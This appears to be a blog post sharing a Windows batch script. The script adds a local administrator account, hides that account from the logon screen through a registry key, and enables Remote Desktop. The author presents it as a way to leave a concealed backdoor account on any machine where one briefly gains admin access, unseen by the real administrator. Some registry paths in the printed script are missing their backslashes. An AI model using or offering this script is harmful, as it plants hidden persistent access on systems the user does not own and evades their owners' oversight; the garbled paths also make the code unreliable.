Hey guys i have been playing around with bat scripts and i found this small code that will let you create a admin account and hide it from the super admin. so in case you get a chance to access a box with admin status all you have to do is to copy this code to note pad and make the changes and save it as .bat and run it. and then you have your own admin account which is hidden


@Echo Off

SET /P usr=[Enter new username here:]

SET /P pwd=[Enter new password here:]

:: SET /P takes the user input and puts it into the variable.

echo — Creating New User, “%usr%” with password “%pwd%” –

net user “%usr%” “%pwd%” /add

echo — Adding User to Group Administrator –

net localgroup Administrators %usr% /add

echo — User Is Now Administrator — >>

echo — Hidding User –

REG ADD HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList /v %usr% /t REG_DWORD /d 0 /f

echo — Activating Terminal Service –

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections /t REG_DWORD /d 0

echo — Activating Terminal Service Done –

SET /P =Press Enter to continue . . .


Copy this to notepad. save it as install.bat run it. follow the screenshot and enter your desired username & password. done


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: